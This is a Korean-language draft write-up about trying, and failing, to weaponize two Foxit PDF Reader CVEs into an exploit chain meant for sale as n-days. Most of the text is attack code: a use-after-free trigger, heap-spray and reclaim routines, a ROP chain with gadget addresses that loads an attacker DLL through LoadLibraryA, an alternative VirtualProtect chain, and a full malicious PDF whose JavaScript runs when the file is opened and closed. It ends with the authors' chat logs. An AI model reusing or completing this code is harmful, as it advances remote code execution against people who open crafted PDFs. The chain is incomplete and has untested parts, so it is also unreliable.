
실패한 익스플로잇 체인 작성 및 첫 nday 판매 시도 경험
완전한 무기화에 실패한 익스플로잇 체인에 대한 기록과 첫 n-day를 판매하려 했던 경험에 관한 write-up입니다.
그래서 이 이야기는 무엇에 관한 것일까요? 이른바 "끊임없이 변화하고 복잡해지는 환경에서 성공하려는 젊은 보안 연구원의 2025년 인생 경험"이라고 할 수 있겠습니다. 2025년이 되면서 제 인생에 몇몇 일이 일어났고, 어떻게든 돈을 벌어야겠다는 생각이 들었습니다. 유감스럽게도 오늘날까지 그런 일은 없었습니다. 보시다시피 저는 처참하게 실패했기 때문입니다. 그래서 팀은 우리의 기술을 활용해 보기로 결정했습니다. 우리는 어떤 사람으로부터 ssn을 통해 연락을 받았습니다. 그 사람이 우리에게 연락했을 때, 자신은 사이버보안 분야의 떠오르는 스타트업이라고 소개했습니다. 이 나라는 MENA 지역의 일부였고 나토(NATO) 우방국이었습니다(어차피 무관한 내용이므로 이 사람에 대한 세부사항을 너무 많이 남기지 않으려고 합니다). 그들이 우리에게 연락한 이유는 자사 제품인 메타스플로이트 프리미엄 프레임워크(Metasploit Premium framework)와 비슷한 것을 개선하는 데 도움을 줄 사람을 찾고 있었기 때문입니다. 기본적으로 그들은 자사 프레임워크를 위한 n-day가 필요했던 것입니다. 우리는 일정 금액을 받고 기꺼이 돕겠다고 답했습니다(이 역시 거래가 성사되지 않았으므로 무관한 내용입니다). 그래서 우리는 한 달 반 안에 익스플로잇을 만들 수 있다고 생각한 일련의 잠재적 CVE들을 제안했습니다. 제안된 제품은 여기에서 확인할 수 있습니다: catalogue_final.pdf. 어쨌든, 사이버보안에 발을 담그고 싶은 젊은이들을 위한 첫 번째 중요한 교훈이 여기 있습니다. CVE를 선택할 때는 연구를 시작하기 전에 약 3~4주간 CVE를 검토하세요. 해당 카탈로그에서 익스플로잇 중 하나가 체인, 그것도 PDF 체인이라는 것을 확인할 수 있을 것입니다.... 우리는 설명만 간단히 살펴보고, 제공된 PoC를 한두 번 실행하고, CWE가 무엇인지 확인한 다음, "이것을 완전한 무기화 익스플로잇으로 만들 수 있겠다"고 판단했습니다. 하지만 우리는 진실과 한참 동떨어져 있었습니다. 때로는 인생이 뜻대로 되지 않기 마련이죠. 저는 통과해야 할 시험이 있었고, 우리는 2월 20일에 실제 익스플로잇 작업을 시작하기로 결정했습니다. 2월 20일이 되었고 우리는 익스플로잇 작업을 시작했습니다. 우리는 "상대적으로 쉬운"(여기서 비꼬는 것임을 알아두세요) 것부터 시작했습니다. CVE-2024-25648부터 시작한 것입니다. 하지만 그 작업을 시작하기 전에 우리는 PDF의 구조를 이해하려고 시도하기 시작했습니다. 더 정확히 말하면, 문서 뒷부분에서 보시겠지만 특정 이벤트가 발생했을 때 트리거되는 여러 동작으로 "정상적인 문서"를 크래시시켜야 했기 때문에 PDF에 대한 약간의 개요를 파악하기 시작한 것입니다. 이 망할 것들을 제대로 문서화해 준 ange albertini에게 감사를 표합니다. PDF 구조를 이해하기 위해 사용한 자료는 다음과 같습니다: https://www.youtube.com/watch?v=q6KgFezu8tw , https://www.youtube.com/watch?v=8g6G96nn7Mo , https://www.youtube.com/live/xZPK04a5ltc . 이것이 왜 관련이 있냐고요? 솔직히 잊어버렸지만, 이 체인의 경우 익스플로잇의 한 부분은 PDF를 열 때마다 백그라운드에서 실행되고, 두 번째 부분은 닫을 때 실행되도록 결정했습니다. 이상적으로는 이 익스플로잇이 닫을 때 CVE-2024-25648을, 열 때 CVE-2024-25575를 익스플로잇하도록 되어 있었습니다. 자세히 설명하자면, UAF의 정밀 익스플로잇을 위한 정확한 메모리 레이아웃을 만들려면 ROP 가젯 주소 계산을 위한 정보 누출(info-leak)이 필요했습니다. 따라서 익스플로잇의 흐름은 다음과 같았을 것입니다: type conf -> infoleak --> gc로 힙 레이아웃 정리 --> 정밀 스프레이 --> uaf --> eip control -8 --> stackpivot --> ropchain --> sc --> pop calc.exe . 현재 단계에서는 uaf와 힙 스프레이만 있고, 이론적으로(테스트되지 않은) 2개의 제안된 ropchain이 있습니다. 이제 너무 자세히 설명하지 않겠지만, 어떤 UAF 익스플로잇에서든 중요한 부분은 당연히 "할당자 프리미티브(allocator primitive)"입니다. 그게 무엇이냐고요? 간단히 말해, 원하는 내용과 크기를 할당할 수 있게 해주는 무언가입니다. 운이 좋게도 이 주제에 대해 어느 정도 연구한 다른 사람들이 있었습니다. 그래서 우리는 https://hacksys.io/blogs/foxit-reader-uaf-rce-jit-spraying-cve-2022-28672#jit-spraying-to-rescue-bypassing-dep-aslr-at-once 를 출발점으로 사용했습니다. 그래서 우리는 다음과 같은 것을 기반으로 연구를 시작해야 한다는 것을 알았습니다: function reclaim(size, count){ 3 for (var i = 0; i < count; i++) { 4 sprayArr[i] = new SharedArrayBuffer(size); 5 var rop = new DataView(sprayArr[i]); 6 7 // control value for - call dword ptr [eax+74h] 8 // first dword is pointer to the shellcode 9 rop.setUint32(0, 0x41414141); 10 11 for (var j = 4; j < rop.byteLength/4; j+=4) { 12 rop.setUint32(j, 0x42424242); 13 } 14 } 15} but we didnt know what to do exactly. 그래서 우리는 다시 돌아가 권고문(advisory)을 읽고 취약한 객체의 크기를 찾으려고 했습니다. 어떻게 했냐고요? 솔직히 순전히 운이었습니다. 우리는 RlptFreeHeap, Math.atan, Math.sin, 마지막으로 RtlAllocateHeap에 몇 가지 훅을 삽입했습니다.(죄송합니다만, 연구 중에 정리하면서 어쩌다 잃어버렸습니다.) 객체 추적 결과가 담긴 사진을 여기에 삽입하세요. 메모리 할당에서 특정 패턴을 찾은 후 우리는 취약한 객체의 크기가 0x70이라는 결론을 내렸습니다. 그다음 우리가 추가로 한 일은 객체를 재확보(reclaim)하려는 시도였습니다. 일반적으로 UAF를 익스플로잇할 때 해당 객체를 제어하기 위한 전제 조건은 두 가지입니다: 1. 크기를 알아야 하고, 2. free와 재사용 사이에 새 할당을 배치할 수 있어야 합니다. 그리고 우리가 한 것이 바로 그것입니다. 보시다시피: function uaf() { // prepare heap var count = 1000; var tArr = [];
start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;
getField('aaaa').setAction("Format",'delete_pages();');
app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;
end("disabling the heap hook"); }
function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);
reclaim(theSize,0x300,sprayArr2);
app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);
}
우리는 삭제가 일어나는 것을 보고자 했던 deletePages 사이에 해당 객체의 재할당을 배치했습니다. 그리고 보라, 41414141 EIP 컨트롤 이미지를 삽입하세요. 아까 우리는 익스플로잇 흐름 또는 익스플로잇 아키텍처 관점에 대해 이야기하면서, GC를 호출하여 힙을 정리하고 싶다는 점을 언급했습니다. 힙 상태를 정리하기 위해 GC를 호출하는 방법에 익숙하지 않은 분들을 위해 너무 자세히 설명하지는 않겠지만, 여러 방법 중 하나는 매우 큰 객체를 몇 번 생성하는 것입니다. 이제 이것의 실제 구현은 다음과 같았습니다: function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }
새로운 것은 없습니다. 다만 이 구현에 대해 한 가지만 간단히 짚고 넘어가려고 합니다. 이제 이야기할 것이 하나 더 있습니다. 이 익스플로잇은 32비트 소프트웨어를 대상으로 하기 때문입니다. Windows에는 정밀 힙 스프레이(precise heap spray)라는 개념이 있습니다. 그게 무엇이냐고요? Windows에서는(리눅스에서도 가능할 것이라는 것은 알고 있지만, 저는 Windows에서만 보았습니다) 32비트 공간에 대해 매번 예측 가능한 주소를 할당할 수 있습니다. 솔직히 이것도 새로운 것은 아닙니다. 이해하고 나면 쉬운 것이지만, 저는 한때 그것을 완전히 이해했었는데 지금은 잊어버렸습니다 :))). 어쨌든 Windows 10에서는 VABlocks에 대해 0x7fb0 크기로 VirtualAlloc을 수행할 수 없습니다. 하지만 운 좋게도 트릭을 쓸 수 있습니다. 0x10000, 0x40000 크기로 점진적으로 할당하고 다른 크기의 할당도 약 0x300번 정도 수행하면 됩니다. 이것으로 그게 가능해집니다. 다시 말하지만, 아는 사람은 아는, 새로운 것은 전혀 없습니다. 이제 구체적인 구현은 다음과 같습니다: function store_shellcode() { app.alert(util.printf("Uninitialized1"));
var offset = 0xbc4; //this will need adjustment aka be changed
var final_payload = "";
var junk = p32(0x50505050)+p32(0x80808080);
var rop = "4141424243434444454546464747";
var shellcode = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");
// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');
// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');
// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');
// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
app.alert("Layout created, now freeing 3 chunks of 0x10000");
// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;
app.alert("Free", hAlloc2);
hAlloc2 = null;
app.alert("Free", hAlloc3);
hAlloc3 = null;
app.alert("Done. Ready for spray");
//Trigger the theoretical garbage collection to clear the heap.
gc();
final_payload = junk.substring(0,offset);
final_payload += rop;
final_payload += shellcode;
final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);
while(final_payload.length < 0x40000){
final_payload += final_payload;
}
var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.
for (var rep = 0; rep < sprayRepeat; rep++) {
for (var i = 0; i < sprayCount; i++) {
// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
global_address_spray.push(sprayBuffer);
}
}
app.alert(util.printf("SPRAY DONE"));
}
새로운 것은 없습니다. 동일한 페이로드를 0x10000에서 다음 0x10000까지 반복하여 0x40000 길이의 16진수 문자열을 만든 다음, 말 그대로 스프레이하는 것입니다. 이제 이것이 다소 버그가 있다는 점을 언급해야겠습니다. 스프레이를 많이 하고 때때로 정확한 주소를 확보하기도 하지만, 이것은 약간의 최적화/개선이 필요합니다. 왜냐하면 아, 이걸 정확히 어떻게 했는지 잊어버렸기 때문입니다. WinDbg 이미지를 삽입하고 제가 본 것에 대한 약간의 설명을 추가하세요.
이제 이 장을 마치기 전에 Math.atan, Math.sin 및 RlptFreeHeap/RtlpAllocateHeap에 대한 훅을 어떻게 만들었는지 언급할 가치가 있습니다. rtlp 함수의 경우, 이전 버전의 Foxit을 다루는 익스플로잇 개발 교육을 받았을 때 사용했던 훅이 있었습니다. Math.atan과 Math.sin의 경우, ruben....(설명 삽입). 그래서 우리는 이것을 만들었습니다(훅 삽입) (windbg 이미지 + 거기서 무슨 일이 일어나는지에 대한 설명 삽입).
이제 블로그의 두 번째 부분인 CVE-2024-25575로 넘어갑니다.
실제 Talos write-up의 세부 사항을 너무 많이 다루지 않고 말하자면, 우리가 이 버그의 두 번째 부분을 목표로 삼은 지 2주 후에 ruben이 나에게 경고했습니다. 이것이 정확히 타입 혼란(type confusion) 버그가 아니라, 부작용으로 문자열에 타입 혼란을 일으키는 UAF일 수 있다고 말입니다. 어쨌든 이것은 익스플로잇 개발에 좋은 시나리오처럼 들립니다. 사실 그렇지 않습니다. 그래서 처음부터 당신은 여기에서 시작합니다:
var lock_object = app.activeDocs[0].addField( 'AA', "signature", 0, [10,214,3] ).getLock() ;
app.activeDocs[0].deletePages();
app.fs.transitions;
lock_object.defineGetter('fields', function () {});
그리고 다음 목표는 도대체 어떻게 app.fs.transitions를 대체하는지 알아내는 것입니다. 이 시점에서 저와 ruben은 약 3주 동안 머리카락을 뽑으며 고민했습니다. Adobe 문서에 따르면 app.fs.transitions는 읽기 전용이며 쓰기가 불가능한 객체이기 때문입니다(익스플로잇에 좋은 신호가 아닙니다). 둘째, 우리는 훅으로 app.fs.transitions의 크기를 제대로 확인할 수 없었습니다. 왜냐고 묻는다면? 이전 부분에서는 운 좋게 크기를 결정할 수 있었지만, 여기서는 운이 나빴습니다. 이 경우 크기 매개변수가 훅과 일치하지 않는다는 것을 깨달았고, 그래서 정확한 크기를 제대로 결정할 수 없었습니다. 그럼 어떻게 이 난국에서 벗어났을까요? 지난 3주 동안, 어느 날 트위터에서 누군가 ghidra/ida용 MCP 서버를 공개한 것을 보았고 한번 시도해 보기로 했습니다. 하루나 이틀 정도 claude와 실랑이를 벌인 끝에, 어떻게든 이 괴물을 만들어 냈습니다. message.txt%PDF-1.5
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction 4 0 R
/AA <<
/WC 3 0 R
>>
endobj
2 0 obj << /Type /Pages /Count 7 /Kids [5 0 R 6 0 R 7 0 R 8 0 R 9 0 R 10 0 R 11 0 R]
endobj
3 0 obj << /S /JavaScript /JS(
//var sprayArr = []; var sprayArr2 = [];
var theSize = 0xb8-8; function start(msg) { Math.atan(msg); }
function end(msg) { Math.acos(msg); }
function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }
function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }
function addrToHex(addr) { return "0x" + addr.toString(16).padStart(8, '0'); }
// Function to create a controlled string pattern function createStringPattern(length) { var result = ""; for (var i = 0; i < length; i += 4) { // Create predictable 4-byte patterns var val = 0xAA000000 + i; var c1 = String.fromCharCode((val & 0xFF)); var c2 = String.fromCharCode((val >> 8) & 0xFF); var c3 = String.fromCharCode((val >> 16) & 0xFF); var c4 = String.fromCharCode((val >> 24) & 0xFF); result += c1 + c2 + c3 + c4; } return result; }
function type_conf() { app.alert("Starting alternative exploitation approach...");
// Step 1: Create several different types of form fields
var fields = {};
var fieldTypes = ["text", "checkbox", "radiobutton", "combobox", "listbox", "signature"];
for (var i = 0; i < fieldTypes.length; i++) {
try {
fields[fieldTypes[i]] = app.activeDocs[0].addField(
'Field_' + fieldTypes[i],
fieldTypes[i],
0,
[10, 50 + i*40, 100, 80 + i*40]
);
app.alert("Created " + fieldTypes[i] + " field");
} catch (e) {
app.alert("Error creating " + fieldTypes[i] + " field: " + e);
}
}
// Step 2: Store references to various objects from these fields
var objects = [];
try {
// Get various objects from different field types to increase chances of success
if (fields.signature) objects.push({name: "signature.lock", obj: fields.signature.getLock()});
if (fields.text) objects.push({name: "text.value", obj: fields.text.value});
if (fields.combobox) objects.push({name: "combobox.items", obj: fields.combobox.items});
if (fields.checkbox) objects.push({name: "checkbox.style", obj: fields.checkbox.style});
app.alert("Stored references to " + objects.length + " objects");
} catch (e) {
app.alert("Error storing object references: " + e);
}
// Step 3: Call deletePages() with specific parameters
try {
app.activeDocs[0].deletePages({nStart: 0, nCount: 0}); // Try not to delete any pages
app.alert("deletePages called with parameters");
} catch (e) {
app.alert("Error in deletePages: " + e);
// Continue anyway
}
// Step 4: Create controlled heap objects
var stringObjects = [];
var bufferObjects = [];
// Mix of different object types to influence heap layout
for (var i = 0; i < 100; i++) {
stringObjects.push("Memory" + i.toString(16).padStart(8, '0'));
}
// Create objects with specific values that might be recognizable if leaked
for (var i = 0; i < 20; i++) {
var obj = {
marker: 0xABCD0000 + i,
index: i,
name: "Marker" + i
};
bufferObjects.push(obj);
}
// Step 5: Access transitions and other APIs to influence memory
try {
// Access app.fs.transitions
app.fs.transitions;
app.alert("Transitions accessed");
// Access other properties that might influence memory
if (app.fs.fonts) app.alert("Fonts accessed");
if (app.fs.templates) app.alert("Templates accessed");
} catch (e) {
app.alert("Error accessing app properties: " + e);
}
// Step 6: Trigger JavaScript garbage collection
try {
for (var i = 0; i < 3; i++) {
var largeArray = new Array(1000000);
largeArray = null;
}
app.alert("Garbage collection potentially triggered");
} catch (e) {
app.alert("Error triggering GC: " + e);
}
// Step 7: Examine objects for signs of corruption or memory leaks
var results = [];
for (var i = 0; i < objects.length; i++) {
var objName = objects[i].name;
var obj = objects[i].obj;
results.push("Examining " + objName + ":");
try {
// Check object type
results.push("- Type: " + typeof obj);
// Try to convert to string
var asString = String(obj);
results.push("- String representation: " + asString);
// Look for patterns that might indicate addresses
var hexMatches = asString.match(/[0-9A-Fa-f]{6,}/g);
if (hexMatches) {
for (var m = 0; m < hexMatches.length; m++) {
results.push("- Potential address: 0x" + hexMatches[m]);
}
}
// Try JSON serialization with error handling
try {
var asJson = JSON.stringify(obj);
if (asJson && asJson.length > 2) { // Not empty object
results.push("- JSON: " + (asJson.length > 50 ? asJson.substring(0, 50) + "..." : asJson));
}
} catch (jsonError) {
results.push("- JSON error: " + jsonError);
}
} catch (e) {
results.push("- Error examining object: " + e);
}
}
// Report results
for (var i = 0; i < results.length; i++) {
app.alert(results[i]);
}
app.alert("Alternative exploitation completed");
}
type_conf();
)
endobj
4 0 obj << /S /JavaScript /JS(
/* ROP
FoxitPDFReader!CryptUIWizExport+0x357b1: 00d7e62f 8b01 mov eax,dword ptr [ecx] ds:002b:12d3c4a0=f0f0f0f0 ; <---------------- [6] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] ds:002b:f0f0f134=???????? ; <---------------- [7] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] 00d7e634 ffd0 call eax
we got 0x44 till we have to jump and such so basically we control ecx and in ecx we put the rest of ropchian
and in ecx we put 0c0c0c0c and at 0c0c0c0c we put ropchian
at 0c0c0c0c+0x44 0x4a2a06: xchg esp, ecx ; ret ; (1 found) such
arr[0]=0x4a2a06 xchg esp, ecx ; ret ; (1 found)(offset 000a2a06) aka ecx ImageBase : 0x00400000rop[1] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[2] = 0x6c6c642e rop[3] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[4] = 0x6b636168 rop[5] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[6] = 0x5x706f74 rop[7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[8] = 0x6b736544 rop[9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x5c64616c rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x565c7372 rop[0xd] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xe] = 0x6573555c rop[0xf] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x10] = 0x4141433a rop[0x11] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x12] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x13] = 0x2 rop[0x14] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x15] = 0x41a07e: push edi ; ret ; (1 found) rop[0x16] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x17] = 05254630 76481100 KERNEL32!LoadLibraryAStub - 0xd rop[0x18] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x19] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)
writeprocessmemory가 없으므로 loadlibrarya를 사용한다.
43 3A 다음과 같음 C:\Users\Vlad\Desktop\hack.dll
0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found)
또는 페이로드로 virtualrpotect 체인을 원하는 경우
rop[0x1] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x2] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x3] = 0x2 #shellcode를 가리키도록 변경해야 함 rop[0x4] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x5] = 0x41a07e: push edi ; ret ; (1 found) rop[0x6] = 0x41a07e: push edi ; ret ; (1 found) 동일하므로 rop[0x7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x8] = shellcode 크기는 여기에 rop[0x9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x1000 rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x40 rop[0xd] = 04bc457c 76466b30 KERNEL32!VirtualProtectStub - 0xd rop[0x10] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x11] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)
*/
var global_address_spray = [];
function p32(num) { return String.fromCharCode(num & 0xff) + String.fromCharCode((num >> 8) & 0xff) + String.fromCharCode((num >> 16) & 0xff) + String.fromCharCode((num >> 24) & 0xff); }
function start(msg) { Math.atan(msg); }
function end(msg) { Math.acos(msg); }
function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }
function allocateSprayBuffer(payload) { // Create a SharedArrayBuffer sized to hold the payload. // Assuming one byte per character (e.g. for ASCII-only data). var buffer = new SharedArrayBuffer(payload.length); var dv = new DataView(buffer); for (var j = 0; j < payload.length; j++) { dv.setUint8(j, payload.charCodeAt(j)); } return buffer; }
function store_shellcode() { app.alert(util.printf("Uninitialized1"));
var offset = 0xbc4; //this will need adjustment aka be changed
var final_payload = "";
var junk = p32(0x50505050)+p32(0x80808080);
var rop = "4141424243434444454546464747";
var shellcode = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");
// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');
// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');
// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');
// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
app.alert("Layout created, now freeing 3 chunks of 0x10000");
// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;
app.alert("Free", hAlloc2);
hAlloc2 = null;
app.alert("Free", hAlloc3);
hAlloc3 = null;
app.alert("Done. Ready for spray");
//Trigger the theoretical garbage collection to clear the heap.
gc();
final_payload = junk.substring(0,offset);
final_payload += rop;
final_payload += shellcode;
final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);
while(final_payload.length < 0x40000){
final_payload += final_payload;
}
var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.
for (var rep = 0; rep < sprayRepeat; rep++) {
for (var i = 0; i < sprayCount; i++) {
// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
global_address_spray.push(sprayBuffer);
}
}
app.alert(util.printf("SPRAY DONE"));
}
var sprayArr = []; var sprayArr2 = [];
var theSize = 0x70-8;
function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }
function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }
function uaf() { // prepare heap var count = 1000; var tArr = [];
start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;
getField('aaaa').setAction("Format",'delete_pages();');
app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;
end("disabling the heap hook"); }
function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);
reclaim(theSize,0x300,sprayArr2);
app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);
}
//start("enabling the heap hook"); //end("disabling the heap hook");
//sprayArr[i] = new SharedArrayBuffer(theSize); reclaim(theSize,0x400,sprayArr); for(var i = 0; i < 0x400; ++i){ if(i%2 == 0){ sprayArr[i] = null; } }
//store_shellcode(); //uaf(); //console.show(); )>>
5 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 6 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 7 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 8 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 9 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 10 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 11 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj
trailer
<<
/Root 1 0 R
/Size 12
startxref
%%EOF
이제 우리가 한 일은, 말하자면 회귀 테스트(regression testing)라고 부를 수 있었는데, 루벤이 이 PoC를 가져다가 한 줄 한 줄 분해하기 시작했다. 기억상 전체 과정은 약 2주가 걸렸다. 재미있는 특이점으로, 그 대화는 다음과 같았다.
vlad: ecx를 제어한다!!!!!! infoleak에 근접 이건 ecx를 정확히 제어하는데, string object가 죽어서 어떻게 교체할지 모르겠어. 하지만 크래시가 나는 위치는 어느 정도 제어할 수 있어. 랜덤 PoC 붙여넣기 그리고 이건 ecx를 거의 제어해. ecx+8을 제어할 수 있어. 봐봐, 아니? 이걸로 infoleak 만들어줘 🙂 랜덤 PoC 게시 이건 'object is dead' 문자열을 제어할 수 있어. 그러니 거의 다 온 거야. 우리가 이미 결론 내렸듯이 exp는 100%가 아니야. 100%일 필요도 없고, 그냥 신뢰할 수 있으면 돼. 내 테스트에서 5/3의 출력은 위의 것과 같아. 부분적인 object_is_dead의 경우 100% 확률로 ecx 제어와 함께 크래시가 나.
reuben: 그래서 이 PoC를 실행해 보려고 하는데, 이건 완전히 다른 버그야 ㅋㅋㅋ vlad: 통화해도 될까? 물어보려고 네가 찾아낸 것에 대해? 뭐? 완전히 다른 버그라니 어떻게?? 0day??? 우리가 app.fs.transitions에 접근하려는 거 알지? 그래서 이게 0day인지, 크로스 버그 혼동인지, 다른 CVE인지 의문이 들게 해. 물론 다시 delete_pages를 사용하긴 했지. 그리고 app.fs.transition reuben: 그래서 전에는 어딘가 랜덤하게 크래시가 났어. 무슨 일이 있었는지 모르겠어. 하지만 지금은 같은 지점에서 크래시가 나 (여러 번 반복됨) 근데 이거 들어봐 네가 app.fs.transitions를 호출하기 전이야. vlad: 도대체 인생이 뭐야, 브로?? reuben: 아직 그 데이터를 제어하는 방법은 모르겠지만, 뭔가가 그것을 대체할 수 있을 거라고 확신해. vlad: 좋아, 이걸 물어볼게 지금 네가 가진 PoC들 그것들은 ecx 측면에서 어느 정도 제어권을 보여줘 그리고 네가 말한 바에 따르면 app.fs.transitions는 쓸모없는 거지? 좋아 그럼 우리가 올바른 길을 가고 있는 거지? reuben: 응, app.fs.transitions 없이도 할 수 있어. 그리고 나는 오랫동안 그렇게 말해 왔어. 다만 어떻게 트리거하는지 몰랐을 뿐이야 (사실 지금도 모르고). vlad: 음, 네 말대로 그럴 수 있지 실제 버그가 type confusion이라기보다는 UAF에 더 가까운 걸까??? 그리고 app.fs.transitions 때문에 type confusion으로 보이는 것뿐인가?
그리고 여기서 사고 과정 중 배운 교훈이 하나 나옵니다. 이는 젊은 연구자들에게도 중요할 수 있습니다. 어떤 버그가 권고문에서는 예를 들어 type confusion처럼 보이지만, 분석 결과 다른 클래스로 동작한다면, 이는 특정 신호일 수 있습니다. 일반화하자면, type confusion을 정보 유출(info leak)에 사용하려 해도 버그가 Windows에서 UAF처럼 동작한다면, 사실상 infoleak을 할 수 없습니다.
reuben: 아직은 말할 수 없어 근데 이거 들어봐 네 마지막 PoC에서 11단계를 제거했어 그래도 여전히 트리거돼
11단계가 app.fs.transitions를 호출하는 부분이야 그래도 그것을 이용해 뭔가를 누출할 수 있는지는 아직 모르겠어 ㅋㅋ
